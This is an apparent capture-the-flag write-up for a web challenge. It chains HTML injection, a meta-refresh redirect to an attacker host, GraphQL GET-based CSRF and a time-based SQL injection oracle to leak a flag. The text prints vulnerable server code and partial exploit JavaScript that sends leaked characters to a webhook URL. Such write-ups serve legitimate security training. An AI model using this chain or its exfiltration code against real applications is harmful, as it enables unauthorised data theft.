Grand Monty
Grand Monty
Difficulty: Hard
Classification: Official
Synopsis
The challenge envolves exploiting a GraphQL GET-based CSRF to XS-Search via time-based
SQL injection oracle.
Skills Required
HTTP requests interception via proxy tools, e.g., Burp Suite / OWASP ZAP.
Skills Learned
Performing SQL injection via CSRF.
Submitting one of the valid enc_id specified in the challenge description works, and we are sent
to the following webpage:
The hyperlink leads to an error page that seems vulnerable to local file read:
We can specify path-traversal payload and read local files:
From the "Payments" tab, we can deliver a message to the ransomware group. Typing in a
message and sending it populates in the chat, and it seems we can inject HTML content as well:
However, trying to inject any JavaScript code fails because of CSP policy as highlighted in the
browser console logs:
From the local file read of index.js file, we can see the following code that assigns a CSP policy
to all the application routes:
This blocks any potential chance of getting XSS unless we can upload a file on the application
server. There doesn't seem to be any upload functionality throughout the application, which leads
us to believe XSS is not possible at this endpoint. Since HTML tags are supported, injecting a meta
tag with refresh content to a public URL we control works, and we get redirected after submitting
the message:
The webhook.site website is a request logger service that provides a public link and stores and
displays any requests made to that public link. If we submit the above payload, we can see all the
requests made to that public URL:
Interestingly, apart from our browser redirecting to the public URL, another request is logged,
which displays a referer header that points to an admin endpoint of the application. This suggests
the admin endpoint is also vulnerable to HTML injection, and the admin browser is also being
redirected to the public URL we control. That is pretty much all the features we can access as
regular users on this application.
return res.render('messages.html');
});
Looking at the script tags defined in views/message.html that calls a couple of functions when
the window is loaded:
window.onload = () => {
$('.send-msg').on('click', sendMsg);
getRansomChat();
setInterval(getRansomChat, 5000);
populateRansomInfo();
}
The getRansomChat function is called first, along with a setInterval to call it every 5 seconds.
The function sends an API request to the /graphql endpoint to fetch the messages for the
encryption identifier:
await fetch('/graphql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
query: `query { RansomChat(enc_id: "${enc_id}"){id, enc_id,
message, created_at} }`
}),
})
.then((response) => response.json()
.then((resp) => {
if (response.status == 200) {
if (resp.data.RansomChat !== null) {
populateUserMsg(resp.data.RansomChat.message);
}
}
}))
.catch((error) => {
console.log(error);
});
}
From the helpers/GraphqlHelper.js file, we can see the query is only available to requests
originating from localhost:
RansomChat: {
type: RansomChatType,
args: {
enc_id: {
type: new GraphQLNonNull(GraphQLString)
}
},
resolve: async (root, { enc_id }, request) => {
return new Promise((resolve, reject) => {
if (!isLocal(request)) return reject(new GraphQLError('Only
localhost is allowed this query!'));
db.getRansomChat(enc_id)
.then(row => {
resolve(row[0])
})
.catch(err => reject(new GraphQLError(err)));
});
}
},
The db.getRansomChat() function defined in database.js seems to be susceptible to SQL
injection because no parameterization used to place the encryption id parameter in the SQL
query:
async getRansomChat(enc_id) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM ransom_chat WHERE enc_id = '${enc_id}'`;
this.connection.query(stmt, (err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
})
});
}
We can also see that the challenge flag is stored in the grandmonty.users table:
The GraphQL endpoint has other queries that we can execute but doesn't contain an SQL injection
vulnerability:
GraphQL supports both GET and POST requests for queries which allows us to run the same query
with just a GET request:
This creates opportunities for Cross-site Request Forgery (CSRF) with just a single GET request. So
far, we have identified an HTML injection, an SQL injection, and a potential CSRF vulnerability on
GraphQL. We can put them all together to form a new attack.
However, in our case, the GraphQL endpoint always returns the same HTTP status code even if no
results are returned. Since we have an SQL injection, we can make the SQL query delay the results
by injecting the SQL sleep() command, resulting in an oracle that we can fingerprint based on the
response time.
Combining this with the meta tag redirect and GraphQL GET-based CSRF, we can brute-force each
character of a database column to identify the characters with time-based SQLi as an oracle.
Preparing the final exploit
The first step is to inject the meta tag to force the admin browser to visit our URL that contains the
exploit JavaScript code:
<meta http-equiv="refresh"
content="0;url=http://ATTACKER_IP:PORT/sqli_xsleak.html" />
The second step is to host the HTML file with the exploit JavaScript code that will perform the XS-
Search attack. We can leverage the JavaScript Promise interface to resolve a promise once an
image source has been successfully fetched:
<!DOCTYPE html>
<html>
<head>
<title>Stay</title>
<meta name="author" content="rayhan0x01">
</head>
<body>
<h1>Stay a bit longer...</h1>
<script>
window.sleepTime = 1000;
window.exfilURL = 'https://webhook.site/be7b3c74-3b90-4660-83a4-9310b74de6be'
charPosition = 1;
flag = '';
while(true) {
for(c of charList) {
readQuery = readQueryTemp.replace('__POS__', charPosition);
sqlQuery = sqlTemp.replace('__LEFT__', readQuery);
sqlQuery = sqlQuery.replace('__RIGHT__', `'${c}'`);
if (await xsLeaks(sqlQuery)) {
flag += c;
charPosition += 1;
new Image().src = window.exfilURL + '?debug=' + flag;
break;
}
}
if (c == '}') break; // End of the flag
}
exploit()
</script>
</body>
</html>
When the bot visits the above exploit page, the XS-Search is performed automatically where the
client-side JavaScript sends the request from the admin browser, which passes the localhost check
and gives us the oracle we need to identify the database values by calculating the delay each query
took. The identified flag is then exfiltrated to our webhook log: